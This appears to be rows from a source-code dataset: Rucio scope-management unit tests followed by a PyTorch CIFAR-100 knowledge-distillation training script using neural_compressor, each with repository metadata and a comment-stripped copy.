'vo', raise_exception=False, default='tst')} else: self.vo = {} self.scopes = [InternalScope(scope_name_generator(), **self.vo) for _ in range(5)] self.jdoe = InternalAccount('jdoe', **self.vo) def test_list_scopes(self): """ SCOPE (CORE): List scopes """ for scope in self.scopes: add_scope(scope=scope, account=self.jdoe) scopes = get_scopes(account=self.jdoe) for scope in scopes: assert_in(scope, scopes) def test_is_scope_owner(self): """ SCOPE (CORE): Is scope owner """ scope = InternalScope(scope_name_generator(), **self.vo) add_scope(scope=scope, account=self.jdoe) anwser = is_scope_owner(scope=scope, account=self.jdoe) assert_equal(anwser, True) class TestScope(): def __init__(self): if config_get_bool('common', 'multi_vo', raise_exception=False, default=False): self.vo_header = {'X-Rucio-VO': config_get('client', 'vo', raise_exception=False, default='tst')} else: self.vo_header = {} self.scopes = [scope_name_generator() for _ in range(5)] def test_scope_success(self): """ SCOPE (REST): send a POST to create a new account and scope """ mw = [] headers1 = {'X-Rucio-Account': 'root', 'X-Rucio-Username': 'ddmlab', 'X-Rucio-Password': 'secret'} headers1.update(self.vo_header) res1 = TestApp(auth_app.wsgifunc(*mw)).get('/userpass', headers=headers1, expect_errors=True) assert_equal(res1.status, 200) token = str(res1.header('X-Rucio-Auth-Token')) headers2 = {'X-Rucio-Auth-Token': str(token)} acntusr = account_name_generator() data = dumps({'type': 'USER', 'email': 'rucio.email.com'}) res2 = TestApp(account_app.wsgifunc(*mw)).post('/' + acntusr, headers=headers2, params=data, expect_errors=True) assert_equal(res2.status, 201) headers3 = {'X-Rucio-Auth-Token': str(token)} scopeusr = scope_name_generator() res3 = TestApp(account_app.wsgifunc(*mw)).post('/%s/scopes/%s' % (acntusr, scopeusr), headers=headers3, expect_errors=True) assert_equal(res3.status, 201) def test_scope_failure(self): """ SCOPE (REST): send a POST to create a new scope for a not existing account to test the error""" mw = [] headers1 = {'X-Rucio-Account': 'root', 'X-Rucio-Username': 'ddmlab', 'X-Rucio-Password': 'secret'} headers1.update(self.vo_header) res1 = TestApp(auth_app.wsgifunc(*mw)).get('/userpass', headers=headers1, expect_errors=True) assert_equal(res1.status, 200) token = str(res1.header('X-Rucio-Auth-Token')) headers2 = {'X-Rucio-Auth-Token': str(token)} scopeusr = scope_name_generator() account_name_generator() res2 = TestApp(account_app.wsgifunc(*mw)).post('/%s/scopes/%s' % (scopeusr, scopeusr), headers=headers2, expect_errors=True) assert_equal(res2.status, 404) def test_scope_duplicate(self): """ SCOPE (REST): send a POST to create a already existing scope to test the error""" mw = [] headers1 = {'X-Rucio-Account': 'root', 'X-Rucio-Username': 'ddmlab', 'X-Rucio-Password': 'secret'} headers1.update(self.vo_header) res1 = TestApp(auth_app.wsgifunc(*mw)).get('/userpass', headers=headers1, expect_errors=True) assert_equal(res1.status, 200) token = str(res1.header('X-Rucio-Auth-Token')) headers2 = {'X-Rucio-Auth-Token': str(token)} acntusr = account_name_generator() data = dumps({'type': 'USER', 'email': 'rucio@email.com'}) res2 = TestApp(account_app.wsgifunc(*mw)).post('/' + acntusr, headers=headers2, params=data, expect_errors=True) assert_equal(res2.status, 201) headers3 = {'X-Rucio-Auth-Token': str(token)} scopeusr = scope_name_generator() res3 = TestApp(account_app.wsgifunc(*mw)).post('/%s/scopes/%s' % (acntusr, scopeusr), headers=headers3, expect_errors=True) assert_equal(res3.status, 201) res3 = TestApp(account_app.wsgifunc(*mw)).post('/%s/scopes/%s' % (acntusr, scopeusr), headers=headers3, expect_errors=True) assert_equal(res3.status, 409) def test_list_scope(self): """ SCOPE (REST): send a GET list all scopes for one account """ mw = [] headers1 = {'X-Rucio-Account': 'root', 'X-Rucio-Username': 'ddmlab', 'X-Rucio-Password': 'secret'} headers1.update(self.vo_header) res1 = TestApp(auth_app.wsgifunc(*mw)).get('/userpass', headers=headers1, expect_errors=True) assert_equal(res1.status, 200) token = str(res1.header('X-Rucio-Auth-Token')) tmp_val = account_name_generator() headers2 = {'Rucio-Type': 'user', 'X-Rucio-Account': 'root', 'X-Rucio-Auth-Token': str(token)} data = dumps({'type': 'USER', 'email': 'rucio@email.com'}) res2 = TestApp(account_app.wsgifunc(*mw)).post('/%s' % tmp_val, headers=headers2, params=data, expect_errors=True) assert_equal(res2.status, 201) headers3 = {'X-Rucio-Auth-Token': str(token)} for scope in self.scopes: data = dumps({}) res3 = TestApp(account_app.wsgifunc(*mw)).post('/%s/scopes/%s' % (tmp_val, scope), headers=headers3, params=data, expect_errors=True) assert_equal(res3.status, 201) res4 = TestApp(account_app.wsgifunc(*mw)).get('/%s/scopes/' % tmp_val, headers=headers3, expect_errors=True) assert_equal(res4.status, 200) svr_list = loads(res4.body) for scope in self.scopes: assert_in(scope, svr_list) def test_list_scope_account_not_found(self): """ SCOPE (REST): send a GET list all scopes for a not existing account """ mw = [] headers1 = {'X-Rucio-Account': 'root', 'X-Rucio-Username': 'ddmlab', 'X-Rucio-Password': 'secret'} headers1.update(self.vo_header) res1 = TestApp(auth_app.wsgifunc(*mw)).get('/userpass', headers=headers1, expect_errors=True) assert_equal(res1.status, 200) token = str(res1.header('X-Rucio-Auth-Token')) headers3 = {'X-Rucio-Auth-Token': str(token)} res3 = TestApp(account_app.wsgifunc(*mw)).get('/testaccount/scopes', headers=headers3, expect_errors=True) assert_equal(res3.status, 404) assert_equal(res3.header('ExceptionClass'), 'AccountNotFound') def test_list_scope_no_scopes(self): """ SCOPE (REST): send a GET list all scopes for one account without scopes """ mw = [] headers1 = {'X-Rucio-Account': 'root', 'X-Rucio-Username': 'ddmlab', 'X-Rucio-Password': 'secret'} headers1.update(self.vo_header) res1 = TestApp(auth_app.wsgifunc(*mw)).get('/userpass', headers=headers1, expect_errors=True) assert_equal(res1.status, 200) token = str(res1.header('X-Rucio-Auth-Token')) headers2 = {'X-Rucio-Auth-Token': str(token)} acntusr = account_name_generator() data = dumps({'type': 'USER', 'email': 'rucio@email.com'}) res2 = TestApp(account_app.wsgifunc(*mw)).post('/' + acntusr, headers=headers2, params=data, expect_errors=True) assert_equal(res2.status, 201) headers3 = {'X-Rucio-Auth-Token': str(token)} res4 = TestApp(account_app.wsgifunc(*mw)).get('/%s/scopes/' % (acntusr), headers=headers3, params=data, expect_errors=True) assert_equal(res4.status, 404) assert_equal(res4.header('ExceptionClass'), 'ScopeNotFound') class TestScopeClient(): def __init__(self): self.account_client = AccountClient() self.scope_client = ScopeClient() def test_create_scope(self): """ SCOPE (CLIENTS): create a new scope.""" account = 'jdoe' scope = scope_name_generator() ret = self.scope_client.add_scope(account, scope) assert_true(ret) with assert_raises(InvalidObject): self.scope_client.add_scope(account, 'tooooolooooongscooooooooooooope') with assert_raises(InvalidObject): self.scope_client.add_scope(account, '$?!') @raises(AccountNotFound) def test_create_scope_no_account(self): """ SCOPE (CLIENTS): try to create scope for not existing account.""" account = str(uuid()).lower()[:30] scope = scope_name_generator() self.scope_client.add_scope(account, scope) @raises(Duplicate) def test_create_scope_duplicate(self): """ SCOPE (CLIENTS): try to create a duplicate scope.""" account = 'jdoe' scope = scope_name_generator() self.scope_client.add_scope(account, scope) self.scope_client.add_scope(account, scope) def test_list_scopes(self): """ SCOPE (CLIENTS): try to list scopes for an account.""" account = 'jdoe' scope_list = [scope_name_generator() for _ in range(5)] for scope in scope_list: self.scope_client.add_scope(account, scope) svr_list = self.scope_client.list_scopes_for_account(account) for scope in scope_list: if scope not in svr_list: assert_true(False) @raises(AccountNotFound) def test_list_scopes_account_not_found(self): """ SCOPE (CLIENTS): try to list scopes for a non existing account.""" account = account_name_generator() self.scope_client.list_scopes_for_account(account) @raises(ScopeNotFound) def test_list_scopes_no_scopes(self): """ SCOPE (CLIENTS): try to list scopes for an account without scopes.""" account = account_name_generator() self.account_client.add_account(account, 'USER', 'rucio@email.com') self.scope_client.list_scopes_for_account(account)
43.547529
145
0.659391
from json import dumps, loads from paste.fixture import TestApp from nose.tools import assert_equal, assert_true, assert_in, raises, assert_raises from rucio.client.accountclient import AccountClient from rucio.client.scopeclient import ScopeClient from rucio.common.config import config_get, config_get_bool from rucio.common.exception import AccountNotFound, Duplicate, ScopeNotFound, InvalidObject from rucio.common.types import InternalAccount, InternalScope from rucio.common.utils import generate_uuid as uuid from rucio.core.scope import get_scopes, add_scope, is_scope_owner from rucio.tests.common import account_name_generator, scope_name_generator from rucio.web.rest.account import APP as account_app from rucio.web.rest.authentication import APP as auth_app class TestScopeCoreApi(): def __init__(self): if config_get_bool('common', 'multi_vo', raise_exception=False, default=False): self.vo = {'vo': config_get('client', 'vo', raise_exception=False, default='tst')} else: self.vo = {} self.scopes = [InternalScope(scope_name_generator(), **self.vo) for _ in range(5)] self.jdoe = InternalAccount('jdoe', **self.vo) def test_list_scopes(self): for scope in self.scopes: add_scope(scope=scope, account=self.jdoe) scopes = get_scopes(account=self.jdoe) for scope in scopes: assert_in(scope, scopes) def test_is_scope_owner(self): scope = InternalScope(scope_name_generator(), **self.vo) add_scope(scope=scope, account=self.jdoe) anwser = is_scope_owner(scope=scope, account=self.jdoe) assert_equal(anwser, True) class TestScope(): def __init__(self): if config_get_bool('common', 'multi_vo', raise_exception=False, default=False): self.vo_header = {'X-Rucio-VO': config_get('client', 'vo', raise_exception=False, default='tst')} else: self.vo_header = {} self.scopes = [scope_name_generator() for _ in range(5)] def test_scope_success(self): mw = [] headers1 = {'X-Rucio-Account': 'root', 'X-Rucio-Username': 'ddmlab', 'X-Rucio-Password': 'secret'} headers1.update(self.vo_header) res1 = TestApp(auth_app.wsgifunc(*mw)).get('/userpass', headers=headers1, expect_errors=True) assert_equal(res1.status, 200) token = str(res1.header('X-Rucio-Auth-Token')) headers2 = {'X-Rucio-Auth-Token': str(token)} acntusr = account_name_generator() data = dumps({'type': 'USER', 'email': 'rucio.email.com'}) res2 = TestApp(account_app.wsgifunc(*mw)).post('/' + acntusr, headers=headers2, params=data, expect_errors=True) assert_equal(res2.status, 201) headers3 = {'X-Rucio-Auth-Token': str(token)} scopeusr = scope_name_generator() res3 = TestApp(account_app.wsgifunc(*mw)).post('/%s/scopes/%s' % (acntusr, scopeusr), headers=headers3, expect_errors=True) assert_equal(res3.status, 201) def test_scope_failure(self): mw = [] headers1 = {'X-Rucio-Account': 'root', 'X-Rucio-Username': 'ddmlab', 'X-Rucio-Password': 'secret'} headers1.update(self.vo_header) res1 = TestApp(auth_app.wsgifunc(*mw)).get('/userpass', headers=headers1, expect_errors=True) assert_equal(res1.status, 200) token = str(res1.header('X-Rucio-Auth-Token')) headers2 = {'X-Rucio-Auth-Token': str(token)} scopeusr = scope_name_generator() account_name_generator() res2 = TestApp(account_app.wsgifunc(*mw)).post('/%s/scopes/%s' % (scopeusr, scopeusr), headers=headers2, expect_errors=True) assert_equal(res2.status, 404) def test_scope_duplicate(self): mw = [] headers1 = {'X-Rucio-Account': 'root', 'X-Rucio-Username': 'ddmlab', 'X-Rucio-Password': 'secret'} headers1.update(self.vo_header) res1 = TestApp(auth_app.wsgifunc(*mw)).get('/userpass', headers=headers1, expect_errors=True) assert_equal(res1.status, 200) token = str(res1.header('X-Rucio-Auth-Token')) headers2 = {'X-Rucio-Auth-Token': str(token)} acntusr = account_name_generator() data = dumps({'type': 'USER', 'email': 'rucio@email.com'}) res2 = TestApp(account_app.wsgifunc(*mw)).post('/' + acntusr, headers=headers2, params=data, expect_errors=True) assert_equal(res2.status, 201) headers3 = {'X-Rucio-Auth-Token': str(token)} scopeusr = scope_name_generator() res3 = TestApp(account_app.wsgifunc(*mw)).post('/%s/scopes/%s' % (acntusr, scopeusr), headers=headers3, expect_errors=True) assert_equal(res3.status, 201) res3 = TestApp(account_app.wsgifunc(*mw)).post('/%s/scopes/%s' % (acntusr, scopeusr), headers=headers3, expect_errors=True) assert_equal(res3.status, 409) def test_list_scope(self): mw = [] headers1 = {'X-Rucio-Account': 'root', 'X-Rucio-Username': 'ddmlab', 'X-Rucio-Password': 'secret'} headers1.update(self.vo_header) res1 = TestApp(auth_app.wsgifunc(*mw)).get('/userpass', headers=headers1, expect_errors=True) assert_equal(res1.status, 200) token = str(res1.header('X-Rucio-Auth-Token')) tmp_val = account_name_generator() headers2 = {'Rucio-Type': 'user', 'X-Rucio-Account': 'root', 'X-Rucio-Auth-Token': str(token)} data = dumps({'type': 'USER', 'email': 'rucio@email.com'}) res2 = TestApp(account_app.wsgifunc(*mw)).post('/%s' % tmp_val, headers=headers2, params=data, expect_errors=True) assert_equal(res2.status, 201) headers3 = {'X-Rucio-Auth-Token': str(token)} for scope in self.scopes: data = dumps({}) res3 = TestApp(account_app.wsgifunc(*mw)).post('/%s/scopes/%s' % (tmp_val, scope), headers=headers3, params=data, expect_errors=True) assert_equal(res3.status, 201) res4 = TestApp(account_app.wsgifunc(*mw)).get('/%s/scopes/' % tmp_val, headers=headers3, expect_errors=True) assert_equal(res4.status, 200) svr_list = loads(res4.body) for scope in self.scopes: assert_in(scope, svr_list) def test_list_scope_account_not_found(self): mw = [] headers1 = {'X-Rucio-Account': 'root', 'X-Rucio-Username': 'ddmlab', 'X-Rucio-Password': 'secret'} headers1.update(self.vo_header) res1 = TestApp(auth_app.wsgifunc(*mw)).get('/userpass', headers=headers1, expect_errors=True) assert_equal(res1.status, 200) token = str(res1.header('X-Rucio-Auth-Token')) headers3 = {'X-Rucio-Auth-Token': str(token)} res3 = TestApp(account_app.wsgifunc(*mw)).get('/testaccount/scopes', headers=headers3, expect_errors=True) assert_equal(res3.status, 404) assert_equal(res3.header('ExceptionClass'), 'AccountNotFound') def test_list_scope_no_scopes(self): mw = [] headers1 = {'X-Rucio-Account': 'root', 'X-Rucio-Username': 'ddmlab', 'X-Rucio-Password': 'secret'} headers1.update(self.vo_header) res1 = TestApp(auth_app.wsgifunc(*mw)).get('/userpass', headers=headers1, expect_errors=True) assert_equal(res1.status, 200) token = str(res1.header('X-Rucio-Auth-Token')) headers2 = {'X-Rucio-Auth-Token': str(token)} acntusr = account_name_generator() data = dumps({'type': 'USER', 'email': 'rucio@email.com'}) res2 = TestApp(account_app.wsgifunc(*mw)).post('/' + acntusr, headers=headers2, params=data, expect_errors=True) assert_equal(res2.status, 201) headers3 = {'X-Rucio-Auth-Token': str(token)} res4 = TestApp(account_app.wsgifunc(*mw)).get('/%s/scopes/' % (acntusr), headers=headers3, params=data, expect_errors=True) assert_equal(res4.status, 404) assert_equal(res4.header('ExceptionClass'), 'ScopeNotFound') class TestScopeClient(): def __init__(self): self.account_client = AccountClient() self.scope_client = ScopeClient() def test_create_scope(self): account = 'jdoe' scope = scope_name_generator() ret = self.scope_client.add_scope(account, scope) assert_true(ret) with assert_raises(InvalidObject): self.scope_client.add_scope(account, 'tooooolooooongscooooooooooooope') with assert_raises(InvalidObject): self.scope_client.add_scope(account, '$?!') @raises(AccountNotFound) def test_create_scope_no_account(self): account = str(uuid()).lower()[:30] scope = scope_name_generator() self.scope_client.add_scope(account, scope) @raises(Duplicate) def test_create_scope_duplicate(self): account = 'jdoe' scope = scope_name_generator() self.scope_client.add_scope(account, scope) self.scope_client.add_scope(account, scope) def test_list_scopes(self): account = 'jdoe' scope_list = [scope_name_generator() for _ in range(5)] for scope in scope_list: self.scope_client.add_scope(account, scope) svr_list = self.scope_client.list_scopes_for_account(account) for scope in scope_list: if scope not in svr_list: assert_true(False) @raises(AccountNotFound) def test_list_scopes_account_not_found(self): account = account_name_generator() self.scope_client.list_scopes_for_account(account) @raises(ScopeNotFound) def test_list_scopes_no_scopes(self): account = account_name_generator() self.account_client.add_account(account, 'USER', 'rucio@email.com') self.scope_client.list_scopes_for_account(account)
true
true
f71f18791975016707e6e7b272eed9733353c44e
14,409
py
Python
examples/pytorch/eager/image_recognition/cifar100/main.py
kevinintel/neural-compressor
b57645566aeff8d3c18dc49d2739a583c072f940
[ "Apache-2.0" ]
172
2021-09-14T18:34:17.000Z
2022-03-30T06:49:53.000Z
examples/pytorch/eager/image_recognition/cifar100/main.py
kevinintel/neural-compressor
b57645566aeff8d3c18dc49d2739a583c072f940
[ "Apache-2.0" ]
40
2021-09-14T02:26:12.000Z
2022-03-29T08:34:04.000Z
examples/pytorch/eager/image_recognition/cifar100/main.py
kevinintel/neural-compressor
b57645566aeff8d3c18dc49d2739a583c072f940
[ "Apache-2.0" ]
33
2021-09-15T07:27:25.000Z
2022-03-25T08:30:57.000Z
import os import time import shutil import argparse import numpy as np import torch import torch.nn as nn import torch.nn.functional as F import torchvision.models.vgg as vgg import torchvision.datasets as datasets import torchvision.transforms as transforms from plain_cnn_cifar import ConvNetMaker, plane_cifar100_book # used for logging to TensorBoard from tensorboard_logger import configure, log_value parser = argparse.ArgumentParser(description='PyTorch CNN or VGG Training') parser.add_argument('--dataset', default='cifar100', type=str, help='dataset cifar100') parser.add_argument('--epochs', default=200, type=int, help='number of total epochs to run') parser.add_argument('--start-epoch', default=0, type=int, help='manual epoch number (useful on restarts)') parser.add_argument('-b', '--batch-size', default=128, type=int, help='mini-batch size (default: 128)') parser.add_argument('--lr', '--learning-rate', default=0.02, type=float, help='initial learning rate') parser.add_argument('--momentum', default=0.9, type=float, help='momentum') parser.add_argument('--nesterov', default=True, type=bool, help='nesterov momentum') parser.add_argument('--weight-decay', '--wd', default=5e-4, type=float, help='weight decay (default: 5e-4)') parser.add_argument('--print-freq', '-p', default=10, type=int, help='print frequency (default: 10)') parser.add_argument('--droprate', default=0, type=float, help='dropout probability (default: 0.0)') parser.add_argument('--no-augment', dest='augment', action='store_false', help='whether to use standard augmentation (default: True)') parser.add_argument('--resume', default='', type=str, help='path to latest checkpoint (default: none)') parser.add_argument('--name', default='CNN-2', type=str, help='name of experiment') parser.add_argument('--student_type', default='CNN-2', type=str, help='type of student model (CNN-2 [default] or VGG-8)') parser.add_argument('--teacher_type', default='CNN-10', type=str, help='type of teacher model (CNN-10 [default] or VGG-13)') parser.add_argument('--teacher_model', default='runs/CNN-10/model_best.pth.tar', type=str, help='path of teacher model') parser.add_argument('--tensorboard', help='Log progress to TensorBoard', action='store_true') parser.add_argument("--seed", type=int, default=5143, help="A seed for reproducible training.") parser.add_argument("--config", default='distillation.yaml', help="pruning config") parser.add_argument("--temperature", default=1, type=float, help='temperature parameter of distillation') parser.add_argument("--loss_types", default=['CE', 'KL'], type=str, nargs='+', help='loss types of distillation, should be a list of length 2, ' 'first for student targets loss, second for teacher student loss.') parser.add_argument("--loss_weights", default=[0.5, 0.5], type=float, nargs='+', help='loss weights of distillation, should be a list of length 2, ' 'and sum to 1.0, first for student targets loss weight, ' 'second for teacher student loss weight.') parser.set_defaults(augment=True) def set_seed(seed): import random import numpy as np random.seed(seed) np.random.seed(seed) torch.manual_seed(seed) torch.cuda.manual_seed_all(seed) def main(): global args, best_prec1 args, _ = parser.parse_known_args() best_prec1 = 0 if args.seed is not None: set_seed(args.seed) if args.tensorboard: configure("runs/%s"%(args.name)) # Data loading code normalize = transforms.Normalize(mean=[0.5071, 0.4866, 0.4409], std=[0.2675, 0.2565, 0.2761]) if args.augment: transform_train = transforms.Compose([ transforms.ToTensor(), transforms.Lambda(lambda x: F.pad(x.unsqueeze(0), (4,4,4,4),mode='reflect').squeeze()), transforms.ToPILImage(), transforms.RandomCrop(32), transforms.RandomHorizontalFlip(), transforms.ToTensor(), normalize, ]) else: transform_train = transforms.Compose([ transforms.ToTensor(), normalize, ]) transform_test = transforms.Compose([ transforms.ToTensor(), normalize ]) # create teacher and student model if args.teacher_type == 'CNN-10': teacher_model = ConvNetMaker(plane_cifar100_book['10']) elif args.teacher_type == 'VGG-13': teacher_model = vgg.vgg13(num_classes=100) else: raise NotImplementedError('Unsupported teacher model type') teacher_model.load_state_dict(torch.load(args.teacher_model)['state_dict']) if args.student_type == 'CNN-2': student_model = ConvNetMaker(plane_cifar100_book['2']) elif args.student_type == 'VGG-8': student_model = vgg.VGG(vgg.make_layers([64, 'M', 128, 'M', 256, 'M', 512, 'M', 512, 'M']), num_classes=100) else: raise NotImplementedError('Unsupported student model type') # get the number of model parameters print('Number of teacher model parameters: {}'.format( sum([p.data.nelement() for p in teacher_model.parameters()]))) print('Number of student model parameters: {}'.format( sum([p.data.nelement() for p in student_model.parameters()]))) kwargs = {'num_workers': 0, 'pin_memory': True} assert(args.dataset == 'cifar100') train_dataset = datasets.__dict__[args.dataset.upper()]('../data', train=True, download=True, transform=transform_train) # get logits of teacher model if args.loss_weights[1] > 0: from tqdm import tqdm def get_logits(teacher_model, train_dataset): print("***** Getting logits of teacher model *****") print(f" Num examples = {len(train_dataset) }") logits_file = os.path.join(os.path.dirname(args.teacher_model), 'teacher_logits.npy') if not os.path.exists(logits_file): teacher_model.eval() train_dataloader = torch.utils.data.DataLoader(train_dataset, batch_size=args.batch_size, **kwargs) train_dataloader = tqdm(train_dataloader, desc="Evaluating") teacher_logits = [] for step, (input, target) in enumerate(train_dataloader): outputs = teacher_model(input) teacher_logits += [x for x in outputs.numpy()] np.save(logits_file, np.array(teacher_logits)) else: teacher_logits = np.load(logits_file) train_dataset.targets = [{'labels':l, 'teacher_logits':tl} \ for l, tl in zip(train_dataset.targets, teacher_logits)] return train_dataset with torch.no_grad(): train_dataset = get_logits(teacher_model, train_dataset) train_loader = torch.utils.data.DataLoader(train_dataset, batch_size=args.batch_size, shuffle=True, **kwargs) val_loader = torch.utils.data.DataLoader( datasets.__dict__[args.dataset.upper()]('../data', train=False, transform=transform_test), batch_size=args.batch_size, shuffle=True, **kwargs) # optionally resume from a checkpoint if args.resume: if os.path.isfile(args.resume): print("=> loading checkpoint '{}'".format(args.resume)) checkpoint = torch.load(args.resume) args.start_epoch = checkpoint['epoch'] best_prec1 = checkpoint['best_prec1'] student_model.load_state_dict(checkpoint['state_dict']) print("=> loaded checkpoint '{}' (epoch {})" .format(args.resume, checkpoint['epoch'])) else: print("=> no checkpoint found at '{}'".format(args.resume)) # define optimizer optimizer = torch.optim.SGD(student_model.parameters(), args.lr, momentum=args.momentum, nesterov = args.nesterov, weight_decay=args.weight_decay) # cosine learning rate scheduler = torch.optim.lr_scheduler.CosineAnnealingLR(optimizer, len(train_loader)*args.epochs) def train_func(model): return train(train_loader, model, scheduler, distiller, best_prec1) def eval_func(model): return validate(val_loader, model, distiller) from neural_compressor.experimental import Distillation, common from neural_compressor.experimental.common.criterion import PyTorchKnowledgeDistillationLoss distiller = Distillation(args.config) distiller.teacher_model = common.Model(teacher_model) distiller.student_model = common.Model(student_model) distiller.train_func = train_func distiller.eval_func = eval_func distiller.optimizer = optimizer distiller.criterion = PyTorchKnowledgeDistillationLoss( temperature=args.temperature, loss_types=args.loss_types, loss_weights=args.loss_weights) model = distiller() directory = "runs/%s/"%(args.name) os.makedirs(directory, exist_ok=True) model.save(directory) # change to framework model for further use model = model.model def train(train_loader, model, scheduler, distiller, best_prec1): distiller.pre_epoch_begin() for epoch in range(args.start_epoch, args.epochs): """Train for one epoch on the training set""" batch_time = AverageMeter() losses = AverageMeter() top1 = AverageMeter() # switch to train mode model.train() end = time.time() for i, (input, target) in enumerate(train_loader): teacher_logits = None if isinstance(target, dict): teacher_logits = target['teacher_logits'] target = target['labels'] # compute output output = model(input) distiller.on_post_forward(input, teacher_logits) loss = distiller.criterion(output, target) # measure accuracy and record loss prec1 = accuracy(output.data, target, topk=(1,))[0] losses.update(loss.data.item(), input.size(0)) top1.update(prec1.item(), input.size(0)) # compute gradient and do SGD step distiller.optimizer.zero_grad() loss.backward() distiller.optimizer.step() scheduler.step() # measure elapsed time batch_time.update(time.time() - end) end = time.time() if i % args.print_freq == 0: print('Epoch: [{0}][{1}/{2}]\t' 'Time {batch_time.val:.3f} ({batch_time.avg:.3f})\t' 'Loss {loss.val:.4f} ({loss.avg:.4f})\t' 'Prec@1 {top1.val:.3f} ({top1.avg:.3f})\t' 'LR {scheduler._last_lr[0]:.6f}'.format( epoch, i, len(train_loader), batch_time=batch_time, loss=losses, top1=top1, scheduler=scheduler)) distiller.on_epoch_end() # remember best prec@1 and save checkpoint is_best = distiller.best_score > best_prec1 best_prec1 = max(distiller.best_score, best_prec1) save_checkpoint({ 'epoch': distiller._epoch_runned + 1, 'state_dict': model.state_dict(), 'best_prec1': best_prec1, }, is_best) # log to TensorBoard if args.tensorboard: log_value('train_loss', losses.avg, epoch) log_value('train_acc', top1.avg, epoch) log_value('learning_rate', scheduler._last_lr[0], epoch) def validate(val_loader, model, distiller): """Perform validation on the validation set""" batch_time = AverageMeter() top1 = AverageMeter() # switch to evaluate mode model.eval() end = time.time() for i, (input, target) in enumerate(val_loader): # compute output with torch.no_grad(): output = model(input) # measure accuracy prec1 = accuracy(output.data, target, topk=(1,))[0] top1.update(prec1.item(), input.size(0)) # measure elapsed time batch_time.update(time.time() - end) end = time.time() if i % args.print_freq == 0: print('Test: [{0}/{1}]\t' 'Time {batch_time.val:.3f} ({batch_time.avg:.3f})\t' 'Prec@1 {top1.val:.3f} ({top1.avg:.3f})'.format( i, len(val_loader), batch_time=batch_time, top1=top1)) print(' * Prec@1 {top1.avg:.3f}'.format(top1=top1)) # log to TensorBoard if args.tensorboard: log_value('val_acc', top1.avg, distiller._epoch_runned) return top1.avg def save_checkpoint(state, is_best, filename='checkpoint.pth.tar'): """Saves checkpoint to disk""" directory = "runs/%s/"%(args.name) if not os.path.exists(directory): os.makedirs(directory) filename = directory + filename torch.save(state, filename) if is_best: shutil.copyfile(filename, 'runs/%s/'%(args.name) + 'model_best.pth.tar') class AverageMeter(object): """Computes and stores the average and current value""" def __init__(self): self.reset() def reset(self): self.val = 0 self.avg = 0 self.sum = 0 self.count = 0 def update(self, val, n=1): self.val = val self.sum += val * n self.count += n self.avg = self.sum / self.count def accuracy(output, target, topk=(1,)): """Computes the precision@k for the specified values of k""" maxk = max(topk) batch_size = target.size(0) _, pred = output.topk(maxk, 1, True, True) pred = pred.t() correct = pred.eq(target.view(1, -1).expand_as(pred)) res = [] for k in topk: correct_k = correct[:k].view(-1).float().sum(0) res.append(correct_k.mul_(100.0 / batch_size)) return res if __name__ == '__main__': main()
41.051282
116
0.613575
import os import time import shutil import argparse import numpy as np import torch import torch.nn as nn import torch.nn.functional as F import torchvision.models.vgg as vgg import torchvision.datasets as datasets import torchvision.transforms as transforms from plain_cnn_cifar import ConvNetMaker, plane_cifar100_book from tensorboard_logger import configure, log_value parser = argparse.ArgumentParser(description='PyTorch CNN or VGG Training') parser.add_argument('--dataset', default='cifar100', type=str, help='dataset cifar100') parser.add_argument('--epochs', default=200, type=int, help='number of total epochs to run') parser.add_argument('--start-epoch', default=0, type=int, help='manual epoch number (useful on restarts)') parser.add_argument('-b', '--batch-size', default=128, type=int, help='mini-batch size (default: 128)') parser.add_argument('--lr', '--learning-rate', default=0.02, type=float, help='initial learning rate') parser.add_argument('--momentum', default=0.9, type=float, help='momentum') parser.add_argument('--nesterov', default=True, type=bool, help='nesterov momentum') parser.add_argument('--weight-decay', '--wd', default=5e-4, type=float, help='weight decay (default: 5e-4)') parser.add_argument('--print-freq', '-p', default=10, type=int, help='print frequency (default: 10)') parser.add_argument('--droprate', default=0, type=float, help='dropout probability (default: 0.0)') parser.add_argument('--no-augment', dest='augment', action='store_false', help='whether to use standard augmentation (default: True)') parser.add_argument('--resume', default='', type=str, help='path to latest checkpoint (default: none)') parser.add_argument('--name', default='CNN-2', type=str, help='name of experiment') parser.add_argument('--student_type', default='CNN-2', type=str, help='type of student model (CNN-2 [default] or VGG-8)') parser.add_argument('--teacher_type', default='CNN-10', type=str, help='type of teacher model (CNN-10 [default] or VGG-13)') parser.add_argument('--teacher_model', default='runs/CNN-10/model_best.pth.tar', type=str, help='path of teacher model') parser.add_argument('--tensorboard', help='Log progress to TensorBoard', action='store_true') parser.add_argument("--seed", type=int, default=5143, help="A seed for reproducible training.") parser.add_argument("--config", default='distillation.yaml', help="pruning config") parser.add_argument("--temperature", default=1, type=float, help='temperature parameter of distillation') parser.add_argument("--loss_types", default=['CE', 'KL'], type=str, nargs='+', help='loss types of distillation, should be a list of length 2, ' 'first for student targets loss, second for teacher student loss.') parser.add_argument("--loss_weights", default=[0.5, 0.5], type=float, nargs='+', help='loss weights of distillation, should be a list of length 2, ' 'and sum to 1.0, first for student targets loss weight, ' 'second for teacher student loss weight.') parser.set_defaults(augment=True) def set_seed(seed): import random import numpy as np random.seed(seed) np.random.seed(seed) torch.manual_seed(seed) torch.cuda.manual_seed_all(seed) def main(): global args, best_prec1 args, _ = parser.parse_known_args() best_prec1 = 0 if args.seed is not None: set_seed(args.seed) if args.tensorboard: configure("runs/%s"%(args.name)) normalize = transforms.Normalize(mean=[0.5071, 0.4866, 0.4409], std=[0.2675, 0.2565, 0.2761]) if args.augment: transform_train = transforms.Compose([ transforms.ToTensor(), transforms.Lambda(lambda x: F.pad(x.unsqueeze(0), (4,4,4,4),mode='reflect').squeeze()), transforms.ToPILImage(), transforms.RandomCrop(32), transforms.RandomHorizontalFlip(), transforms.ToTensor(), normalize, ]) else: transform_train = transforms.Compose([ transforms.ToTensor(), normalize, ]) transform_test = transforms.Compose([ transforms.ToTensor(), normalize ]) if args.teacher_type == 'CNN-10': teacher_model = ConvNetMaker(plane_cifar100_book['10']) elif args.teacher_type == 'VGG-13': teacher_model = vgg.vgg13(num_classes=100) else: raise NotImplementedError('Unsupported teacher model type') teacher_model.load_state_dict(torch.load(args.teacher_model)['state_dict']) if args.student_type == 'CNN-2': student_model = ConvNetMaker(plane_cifar100_book['2']) elif args.student_type == 'VGG-8': student_model = vgg.VGG(vgg.make_layers([64, 'M', 128, 'M', 256, 'M', 512, 'M', 512, 'M']), num_classes=100) else: raise NotImplementedError('Unsupported student model type') print('Number of teacher model parameters: {}'.format( sum([p.data.nelement() for p in teacher_model.parameters()]))) print('Number of student model parameters: {}'.format( sum([p.data.nelement() for p in student_model.parameters()]))) kwargs = {'num_workers': 0, 'pin_memory': True} 